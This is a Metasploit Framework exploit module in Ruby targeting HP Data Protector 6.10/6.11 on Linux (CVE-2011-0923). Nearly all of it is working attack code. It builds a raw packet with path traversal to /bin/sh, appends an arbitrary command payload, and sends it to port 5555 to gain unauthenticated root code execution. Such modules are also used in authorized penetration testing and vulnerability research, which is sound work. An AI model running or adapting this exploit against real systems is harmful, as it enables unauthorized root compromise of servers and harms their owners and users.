HP Data Protector 6.1 - EXEC_CMD Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'HP Data Protector 6.1 EXEC_CMD Remote Code Execution',
			'Description'     => %q{
				This exploit abuses a vulnerability in the HP Data Protector service. This
				flaw allows an unauthenticated attacker to take advantage of the EXEC_CMD
				command and traverse back to /bin/sh, this allows arbitrary remote code
				execution under the context of root.
			},
			'Author'          =>
				[
					'ch0ks',    # poc
					'c4an',     # msf poc
					'wireghoul' # Improved msf
				],
			'References'      =>
				[
					[ 'CVE', '2011-0923'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'],
					[ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'],
					[ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux']
				],
			'DisclosureDate'  => 'Feb 7 2011',
			'Platform'        => [ 'unix','linux'],
			'Arch'            => ARCH_CMD,
			'Payload'         =>
				{
					'Space'       => 10000,
					'DisableNops' => true,
					'Compat'      => { 'PayloadType' => 'cmd' }
				},
			'Targets'         =>
				[
					[ 'HP Data Protector 6.10/6.11 on Linux', {}]
				],
			'DefaultTarget'   => 0
		))

		register_options([Opt::RPORT(5555),], self.class)
	end

	def exploit

		user = rand_text_alpha(4)

		packet = "\x00\x00\x00\xa4\x20\x32\x00\x20"
		packet << user*2
		packet << "\x00\x20\x30\x00\x20"
		packet << "SYSTEM"
		packet << "\x00\x20\x63\x34\x61\x6e"
		packet << "\x20\x20\x20\x20\x20\x00\x20\x43\x00\x20\x32\x30\x00\x20"
		packet << user
		packet << "\x20\x20\x20\x20\x00\x20"
		packet << "\x50\x6f\x63"
		packet << "\x00\x20"
		packet << "NTAUTHORITY"
		packet << "\x00\x20"
		packet << "NTAUTHORITY"
		packet << "\x00\x20"
		packet << "NTAUTHORITY"
		packet << "\x00\x20\x30\x00\x20\x30\x00\x20"
		packet << "../../../../../../../../../../"

		shell_mio = "bin/sh"
		salto = "\n"
		s = salto.encode

		shell = shell_mio
		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		shell << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
		shell << payload.encoded
		shell << s

		sploit = packet + shell

		begin
			print_status("Sending our commmand...")
			connect
			sock.put(sploit)
			print_status("Waiting ...")
			handler

			# Read command output from socket if cmd/unix/generic payload was used
			if (datastore['CMD'])
				res = sock.get
				print_status(res.to_s) if not res.empty?
			end

		rescue
			print_error("Error in connection or socket")
		ensure
			disconnect
		end
	end

end